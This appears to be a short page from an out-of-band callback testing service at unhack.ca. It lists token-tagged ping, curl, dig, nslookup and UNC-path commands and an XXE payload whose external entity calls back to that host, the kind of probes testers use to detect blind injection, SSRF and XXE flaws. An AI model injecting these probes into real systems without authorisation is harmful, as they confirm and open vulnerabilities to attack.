$ ping -c1 -p 00eb0b15d2a7e147c4d52193bfe92200 unhack.ca
$ curl http://unhack.ca/p/eb0b15d2a7e147c4d52193bfe922
$ dig eb0b15d2a7e147c4d52193bfe922 @unhack.ca
$ dig eb0b15d2a7e147c4d52193bfe922.ns.unhack.ca
C:\> nslookup eb0b15d2a7e147c4d52193bfe922 unhack.ca
C:\> type \\unhack.ca\eb0b15d2a7e147c4d52193bfe922\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/eb0b15d2a7e147c4d52193bfe922">]>
<foo>&xxe;</foo>
Waiting for ping...